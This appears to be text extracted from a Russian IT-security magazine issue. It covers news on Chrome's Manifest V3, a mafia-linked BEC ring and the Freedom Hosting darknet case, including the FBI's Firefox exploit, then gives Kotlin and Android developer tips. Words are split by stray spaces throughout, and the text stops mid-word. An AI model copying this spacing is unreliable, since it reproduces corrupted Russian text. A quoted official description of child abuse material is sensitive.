повысить безопасность и прои звод ительность, а также дать пользовател ям больш ий конт роль над тем, что расширения делают и с какими сайт ами вза‐ имодейс твуют. Пробл ема заключалась в том, что разработч ики расширений быст ро поняли: переход на друг ой API, сильн о отличающийся от webRequest и во мног ом ему уступающий, в сущн ости станет «смертью» их прод уктов. В час‐ тности это касалось блок ировщ иков рекл амы, антивирусов, решений для родительского конт рол я и различных прод уктов, повышающих конф иден‐ циальн ость. В итог е замысел Google подв ергся жесткой критике. Одним из перв ых свою точку зрен ия выск азал разработчик популярных блокировщ иков uBlock Origin и uMatrix Реймонд Хил (Raymond Hill). К примеру, он объяснял, что declarativeNetRequest предлагает разр аботчикам единст венную имплемен‐ тацию фильт ровочного движк а, к тому же огран иченн ую всего 30 000 филь‐ тров, что не выдерживало сравнения даже с EasyList. Хилл предупр еждал, что отказ от webRequest стан ет «смертью» для его прод укт ов, а такж е выражал опас ение, что переход на API declarativeNetRequest может пагубн о сказаться на работе друг их решений, и эту точку зрения подд ержал и множ ест во других разработчиков. Так под дав‐ ление м общест венн ости разр аботч ики Google были вынужд ены отказатьс я от некоторых обновлений из числа Manifest V3, а затем пересм отрел и свои план ы еще основательнее, отменив еще ряд изменений. С тех пор прошло немало времени, и изменения Manifest V3 уже начали внедр ять в Chrome. Недовольство пост епенн о утихл о, хотя некотор ые раз‐ работч ики блокировщ иков, похоже, прост о смирились тем, что их прод укт ы не смогут надежн о блокиров ать рекламу, как только изменения дост игнут ста‐ бильн ых версий Chrome. Как теперь сообщил Дэвид Ли (David Li), менеджер по продукт ам Chrome Extensions и Chrome Web Store: « «Разр абатыв аемый годами Manifest V3 стал более безопасным и про- извод ительным, чем его предшест венн ик, а также лучш е обесп ечива- ет конфиденциальность. Это эвол юция платформы расширений, которая учит ывает меняю щийся веб‑ландшафт и будущее расш ирений »для брау зер ов». Вскор е Google пост епенно откаж етс я от Manifest V2, и в этом процессе уже обозначены две ключевые даты: • 17 января 2022 года: новые расш ирения с подд ержкой Manifest V2 больше не будут приниматься в Chrome Web Store. Разр аботчики по‑прежнему смогут обновлять существую щие расш ирения Manifest V2. • Янв арь 2023 года: браузер Chrome перестанет использ овать рас‐ ширения Manifest V2. Разр аботчики больше не смогут обновлять сущес‐ твующие расширения Manifest V2. До января 2023 года разработчики Google обещают прод олжать доработк у нового манифест а, чтоб ы учесть все пожелан ия и критику разработчиков рас‐ ширений, а такж е внедр ить в него все желаемые функ ции. К прим еру, в Google заявл яют, что уже добавил и дополнительн ые механизмы в новый Scripting API и расш ирили возм ожности Declarative Net Request API для под‐ держки неск ольких стат ических наборов правил, правил сеанса и фильт рац ии на основе tab ID. « «В ближ айш ие месяцы сред и других новых возможностей мы запустим подд ержку динамич еск и наст раи ваемых скриптов конт ента и воз- можность хран ения in-memory. Эти измен ения разработаны с учет ом полученных от сообщ ества отзыв ов, и мы прод олж им создавать более мощн ые API расширений по мере того, как разработч ики будут делитьс я с нами дополнительной информац ией о проблемах мигр ации »и свои х бизн ес‑потребностях», — уверяет Ли. ЧУЖОЙ НОМЕР НА 7 ДНЕЙ Исс ледоват ели BI.ZONE предупр едили, что фактическ и любой номер личн ого телефона может использ оваться злоумышл енник ами для обман а близк их жертве людей. В среднем телефонные номера росс иян используютс я злоу мышленник ами 1-2 дня, но порой могут эксплуа тироваться и до 7 дней. Аналитик и пишут, что такие телефонн ые атак и проводятся не только из России, но и из‑за рубежа. Для их реализ ации злоумышленник и обычн о прим еняю т специализ иров анное ПО, которое не так уж сложн о достать. Стоимость установки такого софт а редк о превышае т 10 дол‐ ларов. ИТАЛЬЯНСКАЯ МАФИЯ И BEC-СКАМ Европол, Евроюст и европейские правоохр анители сообщ или о ликвидации киберп рест упной сети, связ анной с итальянской мафией. Полицейс кая опе‐ рация прив ела к арестам 106 человек (на острове Тенерифе в Испании, а так‐ же в Турине и Изернии в Итал ии), которых обвин яют в различных киберп рес‐ туплен иях и отмывании денег. По данн ым полиции, эта группа в основном специализ ировалась на киберп рест уплен иях: подм ене SIM-карт, а также фишинге и вишинге, стре‐ мясь проникн уть в сети комп аний, похитить средст ва или обманом вынудить сотрудник ов напр авить плат ежи на счет а, которые конт ролировали сами зло‐ умышл енники (класс ическ ая схема, называе мая BEC-скам ом, от английского Business Email Compromise). Благ одар я такой такт ике группа похитила и отмыла более 10 000 000 евро, используя сеть денежн ых мулов и подставн ых комп аний. Большинство пос‐ традавш их от рук мошенников находил ись в Итал ии, но такж е группа атак ова‐ ла комп ании из Ирландии, Испан ии, Германии, Литвы и Великобритании. Испанская нацио нальн ая полиция (Policía Nacional) и италья нская наци‐ ональная полиция (Polizia di Stato) рассказали, что начали отслеж ивать эту групп ировк у в июне 2020 года, когда было замечено, что опасные лица, свя‐ занн ые с итальянскими мафиозными организациями, обосновались на Канарс ких остров ах. Сообщ аетс я, что члены этой хак‑группы были связаны с четырьм я итальянским и мафиозным и структурами: Camorra Napolitana, Nuvoletta, Casamonica и Sacra Corona Unita. Исп анская полиция заявл яет, что весь последний год набл юдала за подоз‐ ревае мым и, изуч ая внутр еннюю структ уру группы. Выясн илось, что груп‐ пировк а имела типичн ую иерарх ию, подобн ую пирамид е, с лидерами наверху и денежными мулами вниз у. Руковод ител ями выст упали член ы италья нской неаполитанс кой мафии, которые част о приезжали на Канарские острова, что‐ бы наблюдать за операция ми. «Для мафии этот спос об финанс ирован ия был настолько важен, что « они отправили неск ольких находящихся в бегах член ов Italian Justice конт рол ировать на месте финансовую активность, получен ия »и перевод ы денег», — рассказ ывают полицейс кие. Такж е эта групп а была связана с проституцией, продажей оружия, незакон‐ ным оборотом нарк отиков, похищен иями людей, мошенничеством, краж ей личн ых данн ых, подд елкой документ ов, мошенничеством в сфер е социаль‐ ного обеспечения, граб ежам и, вымогат ельс твом и двумя убийс твами. К прим еру, группе треб овал ись сотн и банк овс ких счетов для отмыв ания украд енных средств, которые нужн о было открывать и закрывать очень быс‐ тро, чтобы пред отвратить заморозк у средств. В какой‑то момент, не сумев получить дост уп к новым банк овским счет ам, групп а похитила женщину и угроз ами вынудила ее открыть 50 банк овских счет ов от имени организации, а затем заст авила опуст ошить собст венный банковский счет, дост авив к бан‐ комату. Когд а нападавш ие были опозн аны и задержаны, групп ировк а угро‐ жала жерт ве и ее друзьям, чтоб ы те не дали показания. В общей сложн ости власти арест овали 106 человек, замороз или 118 бан‐ ковских счетов, изъяли 224 кред итных карты, 402 куста марихуа ны с сек‐ ретной фермы, которой управляла групп а, а также многочисленное компь‐ ютерн ое обор удов ание, телефоны и SIM-карты. ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА В Twitter появился Safety Mode, автоматическ и блок ирующий оскорб ления Пока Apple не будет искать в пользовательских фото призн аки сексуальн ого насилия над деть‐ ми Хак еры слили в открыт ый доступ учетные данные 500 000 аккау нтов Fortinet VPN Для опасн ой 0-day-уязв имости в Windows MSHTML опубл икован эксплоит Хакт ивист ы Anonymous слили данн ые доменн ого регист ратора и хост ера Epik за посл едние десять лет Поя вил ась утил ита для дешифр овки данных посл е атак REvil Прав ительственные и военн ые сайт ы распростран яли порн о и рекламировали виагру Власт и США наложили санкции на криптовалютн ый обменник Suex Исс лед ователь обнародовал детали трех неисп равл енных уязв имост ей в iOS Бывш ий опер атор Cardplanet депорт ирован в Росс ию из США
HEADER Мария «Mifrill» Нефёдова КРАХ [email protected] FREEDOM HOSTING ЗА ЧТО ОПЕРАТОР СЕРВИСА ПОЛУЧИЛ 27 ЛЕТ ТЮРЬМЫ Американс кий суд вынес приг овор 36-летн ему жителю Дуб‐ лина Эрик у Эоину Марк есу (Eric Eoin Marques), который управлял серв исом Freedom Hosting с июля 2008 года по июль 2013 года. В те годы комп ания пред оставлял а услу‐ ги даркнет‑хостинга более чем 200 сайт ам, на которых раз‐ мещались материа лы, связ анные с эксплуатацией детей и сексуальным насилие м над малолетними. Внимание влас‐ тей к этому серв ису привлекли хакт ивисты Anonymous, и именно с Freedom Hosting связан один из первых случ аев массового прим енения малвари ФБР. КРУПНЕЙШИЙ ПОСТАВЩИК ДЕТСКОГО ПОРНО В сентябре 2021 года Эрик Эоин Марк ес, обладавш ий двойн ым гражданс‐ твом США и Ирландии, был приговор ен к 27 годам лишения свободы, а такж е пожизненном у надз ору власт ей после того, как он отбуд ет свой срок и выйдет на свободу. Кроме того, Маркесу пожизненно запр етили польз оваться интернетом «за исключением случ аев, заранее одобренных офиц ером по надзору». Маркес в дублинском суде в 2013 году. Фото Niall Carson/PA Images В офиц иальном заявлении Минист ерст ва юстиц ии США сказ ано, что «Марк ес был одним из крупнейш их распростран ителей детской порнограф ии в мире». Похожие заявл ения звучали в 2013 году, когд а Маркес был арестован и пред‐ стал перед судом в родном Дубл ине: тогда спец иальный агент ФБР Брук Донахью (Brooke Donahue) тоже описывал Марк еса как «крупн ейшего пос‐ редника в области детского порн о на планете». Расс ледован ие деятельн ост и Freedom Hosting началось в 2011 году, когда серв ис попал на стран ицы многих мировых СМИ и в поле зрения властей. Дело в том, что тогд а Anonymous разоблачили хостера и назв али его основным источником детс ког о порно в дарк нет е, организовав мощные DDoS-атаки на ресурс. DDoS 2011 В 2011 году в рамк ах Operation Darknet, направленн ой против педофилов в сети Tor, в открыт ом доступе были опубликованы данн ые 1589 аккаунтов сайта Lolita City. Этот ресурс разм ещался на Freedom Hosting и содерж ал более 100 Гб детской порн ограф ии, согласно заявл ениям Anonymous. Тогда хактивисты обнар ужил и ссылк и на контент, посв ященный жестокому обращ ению с детьми, в секц ии Hard Candy на даркнет‑сайте Hidden Wiki. Они удалили ссылк и, однако вскоре те были возвращены на мест о админ ист ра‐ цией ресурс а. Тогда Anonymous обратили внимание, что 95% этих фотог‐ рафий связ аны с Lolita City и хост ингом Freedom Hosting, после чего выд‐ винули хост еру серию ульт иматумов, которые были проигнорированы. В итог е Anonymous перешл и от угроз к делу и орган изовали серию DDoS- атак на Freedom Hosting в целом и на Lolita City в част ности. Хактивисты с гор‐ достью писали о том, что своими атаками они «ликвидируют более 40 сайт ов с детской порнографией». Упом янут ая выше польз овательская БД Lolita City, судя по всему, была извлечена с помощью SQL-инъекции. Посл едст вия Operation Darknet были наст олько масш табны, что по сети поползли слухи о компрометации Tor в целом. Представител и Tor Project были вынуждены посвятить случ ивш емуся большую публ икацию в свое м блоге, где объясняли, что сама сеть Tor не была скомпрометир ована. « «Более 1,97 млн изобр ажений и видео [демонст рирующих насилие над детьм и] ранее не были извест ны прав оохранительн ым орган ам. Многие из этих материалов включают садистское надругательс тво над млад енцами и маленьк ими детьм и, в том числе связ ыван ие, зоофилию и издев ательс тва, включая мочеи спускание, дефекацию и рвоту», — именн о так теперь офиц иальн ые представ ител и Минюста опис ываю т содерж имое ресурс ов, разм ещавш ихся на Freedom »Hosting. Подр обност и того, как именно ФБР высл едило Маркеса после 2011 года, неизвест ны по сей день. После атак Anonymous Freedom Hosting работал только по приглашениям. Чтобы стать клие нтом серв иса, нужн о было получить инвайт от уже сущест вующег о польз овател я. Позже Марк ес даже пыталс я организовать собст венный полностью анонимн ый банк (Onion Bank), который предлагал не тольк о обычн ые финансовые услуги, но и условное депонир ование, торговые сервисы и отмывание денег. Благодар я этому про‐ екту Freedom Hosting успел вновь стать публичным, предлагая анонимн ый onion-хост инг всем, кто мог за него заплатить. Однако это прод олж алось недолг о. Офиц иальн ые документы глас ят, что Марк ес был арестован два года спус‐ тя, в июле 2013 года. По слухам, пойм ать его удалось благ одаря социальн ой инжен ерии. Все сайт ы, размещенные на Freedom Hosting, закр ылись спустя неделю посл е его арест а, 3 августа 2013 года. Марк ес шесть лет боролся прот ив экст рад иции в США. Агент ы ФБР рас‐ сказывали, что незадолг о до задерж ания он даже план иров ал получить рос‐ сийс кое гражд анство и хотел скрытьс я от западн ых властей в Росс ии. Однако ирландские прав оохранител и и ФБР успели арестовать его раньше и в итог е передал и США в марте 2019 года. Год спустя, в февр але 2020 года, Маркес призн ал себя виновн ым. FREEDOM HOSTING Нек огда на Freedom Hosting разм ещались такие сайт ы с детс кой порногра‐ фией, как Lolita City, Love Zone и PedoEmpire. Такж е серв ис хост ил у себя ано‐ нимный почт овый сервис TorMail, уже упомянутый выше каталог даркнет-сайтов Hidden Wiki, кардингов ый форум HackBB и многие друг ие ресурсы, предл агавшие разл ичные незаконные услуги и контент. В сущн ости, все эти сайты размещались на серв ерах, прин адлежавш их комп ании Маркеса, ныне несущест вую щей Host Ultra Limited. При этом нельз я сказ ать, что Марк ес рьяно скрывал свой бизнес или его стесн ялся: gray hat хакер SHG.Nackt обнаружил учетн ую запись Марк еса на форуме webhostingtalk.com, где тот опубл иковал 785 сообщ ений, активно рекл амиро‐ вал свой бизнес и порой спраш ивал совета о различных инст рум ентах для анон имности, включая, напр имер, VPN. Пользовател и, которые хотели разм естить сайт в даркнет е, заходили на Freedom Hosting через Tor, регистрировал и учетн ую запись, внос или еди‐ новр еменн ую оплат у в разм ере 5 долл аров и затем могли разв орачивать сайт с использ ованием PHP и MySQL. В какой‑то момент именно на Freedom Hosting разм ещались около половин ы всех сайт ов даркнета (то есть в зоне .onion). Когд а размах, с которым работал Freedom Hosting, стал ясен и дело дошл о до суда, это удар ило даже по репутации Tor Project. Ведь этот хост инг был наглядной иллюст рацией для любимой страшилки власт ей и правоохр аните‐ лей со всего мира, которая глас ит, что интернет буквально наводнен извра‐ щенц ами, прест упниками всех мастей, детской порнографией и другими жут‐ кими вещами. Тогда разработч ики Tor Project были вынужд ены соо бщить, что «лица, которые управляют Freedom Hosting, никои м образ ом не связаны с The Tor Project, Inc.». Такж е они напомин али, что Tor используется и во благ о: для защиты дисс идентов, активистов, анонимности польз овател ей и борьбы с цензурой. «Кто угодно может запуск ать скрыт ые серв исы, и многие это дела- « »ют», — писали инженеры Tor Project. МАЛВАРЬ ФБР Расследование в отношении Freedom Hosting запомн илось не только огромным количест вом чудовищных материалов, которые тогда обнаружил и правоохр анители. Дело в том, что это был один из перв ых известных случ аев, когда ФБР применил о в рамках расслед ования малварь. Согласно судебн ым документ ам, которые были опубл икован ы годы спустя, после захвата серв еров Freedom Hosting в конц е июля 2013 года ФБР оста‐ вило инфраструкт уру в рабочем сост оянии еще на неделю и тайно разв ерну‐ ло на всех сайтах хостера файл JavaScript. Этот скрипт эксплуа тировал ошибк у в Firefox (на базе которог о, как извес‐ тно, строится Tor Browser) для обход а функ ций анон имизации Tor. Малварь ФБР проникал а на машину посетит еля сайт ов с детской порнографией, сох‐ раняла MAC-адрес, имя хоста, реальн ый IP-адрес и некий уник альн ый номер, который связывал цель с посещен ием сайт а на Freedom Hosting. Спец иалис‐ ты из Mozilla писали, что эксп лои т действовал во всех версиях Firefox от 21 и младш е. Уязвимость MFSA 2013-53 была закрыта в версиях Firefox 22 и Firefox 17.0.7. Собр анная таким способом информац ия передавалась на серверы ФБР и позж е была использ ована для проведения друг их расс лед ований и поимк и друг их подозр еваемых в педофил ии. Сег одня использование эксп лои та прот ив посетителей Freedom Hosting уже успел о забыться и отойти на второй план. Дело в том, что первое мас‐ совое прим енение малв ари для деанонимизации пользовател ей померк ло на фоне операции, которую ФБР несколько лет спуст я развернуло прот ив польз ователей друг ого крупного дарк нет‑ресурс а для педофил ов, PlayPen. Облава на польз ователей PlayPen началась весн ой 2015 года. Тогд а ФБР сумело деанонимиз иров ать часть посетит елей ресурс а, в результате чего против почти 200 человек были выдв инуты обвинения. В ходе операции PlayPen ФБР не прост о закр ыло ресурс, но перехватило управление над сер‐ верами и прод олж ало подд ержив ать работу сайт а на протяжении прим ерно двух недель, точн о так же, как это было с Freedom Hosting неск олькими годами ранее. Кроме того, прав оохр анители разм естили на PlayPen некую малв арь, которая помогла им узнать реальные IP-адреса посетит елей. Как именно все это было прод елано, до сих пор неизв естно. Дело в том, что ФБР расс казывало о свои х методах очень расплывч ато, а некотор ые дан‐ ные и код в итог е и вовсе оказались засекречены. Весь комп лекс пров еден‐ ных тогд а меропр иятий фигурир ует в официальн ых бумагах как «методика проведения следст венных дейс твий в компьютерн ых сетях» (Network Investigative Technique, NIT). И хотя предс тавител и Бюро показыв али адво‐ катам обвин яемых отрывки кода, по словам защитн иков, из них совершенно неясн о, каким образ ом NIT помечал и отслеживал кажд ого пользователя и не могл о ли при этом возн икнуть каких‑либо ошибок. Так выглядело прошение ФБР к судье с просьбой пересм отреть решение о раск рыт ии исходников малв ари Из‑за скрытности ФБР у ИБ‑экспертов возн икли вполн е понятные подоз‐ рения, что спецс лужб ы уже давн о располагают информацией о некой уяз‐ вимости нулевог о дня в Firefox, успешно пользуютс я этим багом, но отказ ыва‐ ются раск рыв ать сведения о проблеме разработч икам брау зера. Этими заяв‐ ления ми в итоге заинтересов ались предс тав ители Mozilla, и орган изац ия обратилась в суд, потребовав от ФБР раскрыт ия данн ых о 0-day-уязвимости в Firefox, если прав оохр анители действительн о облад ают такой информа‐ цией. О том прот ивост оянии ФБР и Mozilla в суде мы рассказ ывал и во всех под‐ робностях, но, к сожален ию, добиться от прав оохр анител ей конк ретн ых отве‐ тов тогда так и не удал ось. В какой‑то момент дело даже дошл о до того, что власт и прекр атили судебное преследован ие одного из педофилов с PlayPen, лишь бы не раск рывать исходные коды той малвари, что использовалась для выслеживан ия посетит елей сайт а. ПОДРАЖАТЕЛИ Печальный факт: хотя в итог е Freedom Hosting «пошел ко дну» и его крах широко освещ али все мировые СМИ, у сервиса вскор е появились под‐ ражатели. Наиболее известным из них можн о назв ать Freedom Hosting II, который предлагал аналогичн ые услуги хост инга и использовал тот же бренд. Нужн о отмет ить, что серв ис не имел никого отнош ения к Марк есу: последний к этом у момент у уже давн о находилс я под стражей. В 2017 году Freedom Hosting II тоже был взлом ан хактивистами Anonymous. Снов а в качестве мест и за детс кое порно, равно как и его предш ест венник. Хак еры подробно опис али, как взлом али Freedom Hosting II Тогд а в результ ате атаки были скомп ром етир ован ы 10 613 .onion-сайтов. В дампах взлом анн ых сайт ов, которые опубл иковал и хакт ивисты, вполне предсказ уемо были обнар ужен ы фрод ерс кие сайт ы, ресурс ы, торгующие различным и ворованными данными, управляю щие серв еры ботн етов, стран‐ ные фетиш‑порталы и так далее. Сайты с детским порно занимали на сер‐ верах хостинга порядка 30 Гб (почт и 50% всех ресурс ов). Тогд а взломщ ики утверж дал и, что не стал и сливать данные пользователей Freedom Hosting II, но сообщили, что готовы предост авить полную информа‐ цию ИБ‑исследоват елям, которые передадут ее в руки правоохранительных орган ов. При этом исследователи все же обнаружили сред и слитых файлов множ ество юзерн ейм ов, почт овых адресов и парольн ых хешей. После этог о извест ная исслед оват ельница Сара Джейми Льюис (Sarah Jamie Lewis) писала, что атак а на Freedom Hosting II затронула порядка 15– 20% сайтов дарк нета и будет иметь серье зные последствия. Как оказ алось, Льюис даже преу меньш ила нанесенн ый «изнанке интернет а» урон. Вскоре прое кт OnionScan, который занимается регулярн ым сканирование м и изу‐ чение м Onion-прост ранст ва, опубликовал отчет, согласно которому из 30 000 Tor-сервисов, извест ных прое кту ранее, активны были лишь около 4400. То есть общее количест во сайтов в даркнете в итог е сократилось прим ерн о на 85%. Увы, следом за Freedom Hosting II появились и друг ие, в том числе Freedom Hosting III и Freedom Hosting Reloaded, причем последний работае т до сих пор.
HEADER Евгений Зобнин Редактор Unixoid и Mobile [email protected] ANDROID ЦЕНЗУРА XIAOMI И СБРОС РАЗРЕШЕНИЙ ДЛЯ ВСЕХ Сег одня в выпуск е: странн ая истор ия с цензурой в смартфо‐ нах Xiaomi, сброс разр ешений во всех верс иях Android, быс‐ трые советы, как писать хороший чистый ход, простые пра‐ вила освоб ождения объектов и подр обное объяснен ие одной из фунд аментальных конц епций корутин Kotlin: CoroutineContext. ПОЧИТАТЬ Xiaomi и цензура Xiaomi’s secret blacklist of phrases sounds scary, but it may not be what it seems — статья с расс лед ован ием ситуа ции с цензурой в телефонах Xiaomi. Нап омним, что в сент ябре минобор оны Литвы опубликовал о исс ледова‐ ние, согласно котором у смартфон ы китайских компаний Xiaomi и Huawei не прост о собираю т информац ию о польз овател е, но и выполняют цензуру: исслед ован ие показал о, что смартфоны Xiaomi, продавае мые на территории ЕС, включают в себя деакт ивиров анную, но тем не менее рабочую сист ему блокировки определенн ых слов и словосочетаний. Но есть в этом исслед ован ии странные детали. Его авторы говорят, что запретные слова содерж атся в файл е с именем MiAdBlacklistConfig, а так‐ же показыв ают код, который якоб ы выполняет фильтрац ию, и он содержит имен а объектов врод е iNativeAd. Более того, если извлечь этот файл с устройс тва, то окажется, что он содерж ит не так уж мног о политич еск и окра‐ шенных слов осоч етаний, но при этом содерж ит, напр имер, слов а adult, xxx, porn и почти все известные марки телефон ов, включ ая Xiaomi. Можн о, конечн о, подумать, что китайц ы очень умел о маск ирую т свои дей‐ ствия, но гораздо больш е это похоже на список слов для блокировки неугод‐ ной рекламы. Об этом говорят как сам список слов и фраз, так и имя файл а и объе ктов, содержащих слов о Ad. А нужно это прост о для того, чтобы встро‐ енные в смарт фоны Xiaomi прил ожен ия не показыв али adult и прочую нереле‐ вант ную рекл аму (для тех, кто не использует китайс кие телефоны — да, Xiaomi вполне официальн о показывает рекламу на свои х телефонах). Так что вся эта истор ия про ценз уру — скорее всег о, тыкв а, но да, другая часть расс ледован ия, посв ященн ая сбор у информации о телефон ах и поль‐ зовател ях, вполне правд ива. Фрагм ент кода, якобы выполняющег о ценз уру РАЗРАБОТЧИКУ Автоматический сброс разрешений Making permissions auto-reset available to billions more devices — статья раз‐ работч иков Android о сист еме сброса разрешений. Напомн им, что сброс разрешений — это одна из функций Android 11. Если приложен ие долго не используется, система отзывает все выданн ые ему раз‐ решения. Теперь, за счет встраи вания функ ции в Google Play Services, эта сист ема будет распростран ена на все устройства, начиная с Android 11. Сист ема начнет работать в декабре‑январ е 2021 года. Все разр аботч ики, которые не хотят, чтоб ы работа сист емы распространялась на их прил оже‐ ния, могут использ овать спец иальный API, чтобы попр осить польз ователей отключ ить сброс разрешений: // Проверяем, поддерживает ли устройство сброс разрешений // Результат будет возвращен в колбеке onResult val future = PackageManagerCompat.getUnusedAppRestrictionsStatus( context) future.addListener( { onResult(future.get()) }, ContextCompat.getMainExecutor(context) ) fun onResult(appRestrictionsStatus: Int) { when (appRestrictionsStatus) { ERROR -> { } FEATURE_NOT_AVAILABLE -> { } DISABLED -> { } API_30_BACKPORT, API_30, API_31 -> handleRestrictions(appRestrictionsStatus) } } // Этот код будет выполнен только в Android 11 // и устройствах, поддерживающий автосброс разрешений fun handleRestrictions(appRestrictionsStatus: Int) { Intent intent = IntentCompat. createManageUnusedAppRestrictionsIntent(context, packageName) startActivityForResult(intent, REQUEST_CODE) } Правила освобождения объектов Effective Kotlin Item 50: Eliminate obsolete object references — статья о необ‐ ходимост и освобожд ения объе ктов в определенных ситуа циях. Одна из важнейш их особенностей Java и Kotlin — автоматич еское управлен ие памятью, когд а сборщик мусора сам удаляет неисп ольз уемые объекты из оперативной памяти. Сборщик мусора существенно упрощает жизнь разработч икам, но он не всегда работае т. Кан онич еский пример, когда сборщик мусора не справляется, — это активност и Android. Расс мотрим след ующий пример: class MainActivity : Activity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) //... logError = { Log.e( this::class.simpleName, it.message ) } } //... companion object { var logError: ((Throwable) -> Unit)? = null } } Разработч ик решил упростить себе жизнь и вынес функцию logError в companion object, чтоб ы всегд а иметь к ней дост уп. Пробл ема здесь толь‐ ко в том, что logError внутр и себя ссылается на на MainActivity. В итог е, если MainActivity будет завершена, она прод олж ит занимать память — сборщ ик мусора не сможет ее освоб одить по прич ине сущест вов ания ссылки на активность в объекте‑комп аньо не. Реш ить эту проблему можн о, заменив жесткую ссылк у на WeakReference (хотя по‑хорошем у проблема решае тся с помощью сист емы внедр ения зависим остей). Еще один пример — реализ ация стек а: class Stack { private var elements: Array<Any?> = arrayOfNulls(DEFAULT_INITIAL_CAPACITY) private var size = 0 fun push(e: Any) { ensureCapacity() elements[size++] = e } fun pop(): Any? { if (size == 0) { throw EmptyStackException() } return elements[--size] } private fun ensureCapacity() { if (elements.size == size) { elements = elements.copyOf(2 * size + 1) } } companion object { private const val DEFAULT_INITIAL_CAPACITY = 16 } } Она абсолютно корр ектна, за исключ ение м одног о момент а: функ ция pop() не удал яет элемент из массива. Это знач ит, что если создать стек из 1000 элементов, а затем удалить 999 из них, стек все равно будет занимать память, необходимую для хран ения 1000 элем ентов. Исправл яется код вот так: fun pop(): Any? { if (size == 0) throw EmptyStackException() val elem = elements[--size] elements[size] = null return elem } Как обнаружить такие пробл емы? Стоит научиться пользоватьс я анализа‐ тором хипа (такой есть в станд арт ной пост авке Android Studio). Также поможет инструм ент LeakCanary. Он автоматич ески оповестит обо всех утеч‐ ках активност ей. Что такое CoroutineContext What is CoroutineContext and how does it work? — статья, объя сняю щая, что такое CoroutineContext в Kotlin и что с этим делать. Есл и взглян уть на определение любого билд ера корутин (launch, async, runBlocking и т. д.) в коде, то можн о увидеть, что их перв ый аргум ент — это CoroutineContext: public fun CoroutineScope.launch( context: CoroutineContext = EmptyCoroutineContext, start: CoroutineStart = CoroutineStart.DEFAULT, block: suspend CoroutineScope.() -> Unit ): Job { ... } Такж е мы видим, что launch — это функ ция‑расш ирение CoroutineScope. И ее посл едний аргум ент (собст венно, сам блок кода) тоже выполн яется в области видимост и CoroutineScope. А теперь взглянем на определение самого CoroutineScope: public interface CoroutineScope { public val coroutineContext: CoroutineContext } По сути, это просто врапп ер для CoroutineContext. Даже Continuation, олиц етв оряю щий собой корутин ы, тоже содерж ит в себе CoroutineContext: public interface Continuation<in T> { public val context: CoroutineContext public fun resumeWith(result: Result<T>) } Друг ими словами, CoroutineContext — это самый важн ый элем ент корути‐ ны. Но что это такое? На самом деле CoroutineContext — это интерфейс для коллекции эле‐ ментов Element, где Element — это Job, CoroutineName, CouroutineDispatcher, SupervisorJob, CoroutineExceptionHandler или сам CoroutineContext. Элем ент ы этой колл екции имею т уникальн ый ключ. А для извлеч ения эле‐ мент ов можно использ овать get или квадр атные скобк и: val ctx: CoroutineContext = CoroutineName(\"A name\") val coroutineName: CoroutineName? = ctx[CoroutineName] Как видно, в качестве ключ а можно использовать прост о имя класса. В Kotlin имя класса — это ссылк а на объект‑компаньо н этог о класса, а в случ ае с CoroutineContext объект‑компаньо н как раз и содержит ключ: data class CoroutineName( val name: String ) : AbstractCoroutineContextElement(CoroutineName) { override fun toString(): String = \"CoroutineName($name)\" companion object Key : CoroutineContext.Key<CoroutineName> } Такж е CoroutineContext можно склад ывать, при этом элементы с совп ада‐ ющим и ключ ами будут заменен ы на новые: fun main() { val ctx1: CoroutineContext = CoroutineName(\"Name1\") println(ctx1[CoroutineName]?.name) // Name1 println(ctx1[Job]?.isActive) // null val ctx2: CoroutineContext = Job() println(ctx2[CoroutineName]?.name) // null println(ctx2[Job]?.isActive) // true val ctx3 = ctx1 + ctx2 println(ctx3[CoroutineName]?.name) // Name1 println(ctx3[Job]?.isActive) // true } В целом CoroutineContext — это способ передач и данн ых межд у корути‐ нами. Такая передача, напр имер, осуществ ляе тся при запуске дочерней корутин ы: fun CoroutineScope.log(msg: String) { val name = coroutineContext[CoroutineName]?.name println(\"[$name] $msg\") } fun main() = runBlocking(CoroutineName(\"main\")) { log(\"Started\") // [main] Started val v1 = async { delay(500) log(\"Running async\") // [main] Running async 42 } launch { delay(1000) log(\"Running launch\") // [main] Running launch } log(\"The answer is ${v1.await()}\") // [main] The answer is 42 } Это код показыв ает, как заданн ое нами имя корутины (main) в итог е переда‐ ется всем ее потомкам. Но если мы захотим, мы можем измен ить это имя: fun main() = runBlocking(CoroutineName(\"main\")) { log(\"Started\") // [main] Started val v1 = async(CoroutineName(\"c1\")) { delay(500) log(\"Running async\") // [c1] Running async 42 } launch(CoroutineName(\"c2\")) { delay(1000) log(\"Running launch\") // [c2] Running launch } log(\"The answer is ${v1.await()}\") // [main] The answer is 42 } По сути, прав ило здесь простое: конт екст корутины = контекст родител я + конт екст потомк а. Зач ем все это нужн о знать? Например, для того, чтоб ы понимать, что делает всем извест ная функция withContext. Обычн о ее используют для запуска кода в другом потоке, например: withContext(Dispatchers.Default) { // здесь тяжелый код } Эта функ ция прост о прибавляет к сущест вующем у CoroutineContext дис‐ патчер Default, таким образом заменяя прошл ый дисп атчер. Далее она запус‐ кает новую корутин у уже в этом контексте, и корутин а начинает работу в дру‐ гом потоке. Теп ерь ты должен понимать, что вмест о дисп атчер а в аргум ент е этой фун‐ кции можн о передать любой другой Element, например тот же CoroutineName. То есть с ее помощью можно не только перенапр авлять корутин ы в новые потоки, но и менять любые их характ еристики. Быстрые советы, как писать лучший код Kotlin best practises — сборн ик быстрых советов, как писать понятн ый и надежный код на Kotlin. Можно использ овать как памятк у для работы в команд е. • Всегд а использ уй переменные, которые не могут принимать знач ение null. • Использ уй var тольк о в крайн ем случ ае. • Использ уй немодиф ицир уемые колл екции где тольк о возм ожно. • Исп ольз уй lateinit вместо nullable-переменных. • Есл и приходиться иметь дело с nullable-переменными, использ уй опе‐ ратор Элвис для работы с ними (?:). • Есл и блок кода содерж ит больш е одног о if — использ уй вместо него when. • Соб ирай в одном файл е только тесн о связ анные друг с другом классы. • Попытайс я использовать только один конструктор. • Вмест о втор ичн ых конст рукт оров использ уй аргументы с дефолт ным зна‐ чением. • Использ уй аргументы с дефолт ным значением вместо билдеров. • Всегда используй именованн ые аргументы при передаче не всех аргум ен‐ тов. • Исп ольз уй блок require для пров ерки знач ений аргум ентов. • Исп ользуй блок check для валидац ии состояния. • Не использ уй гетт еры и сеттеры, в Kotlin есть встроенные средства для конт роля дост упа. • Всегд а используй data-класс ы при необх одимости создать класс без методов. • Стар айся использ овать scoped-функции, где это допуст имо: let, run, with, apply, also. • Используй объекты‑комп 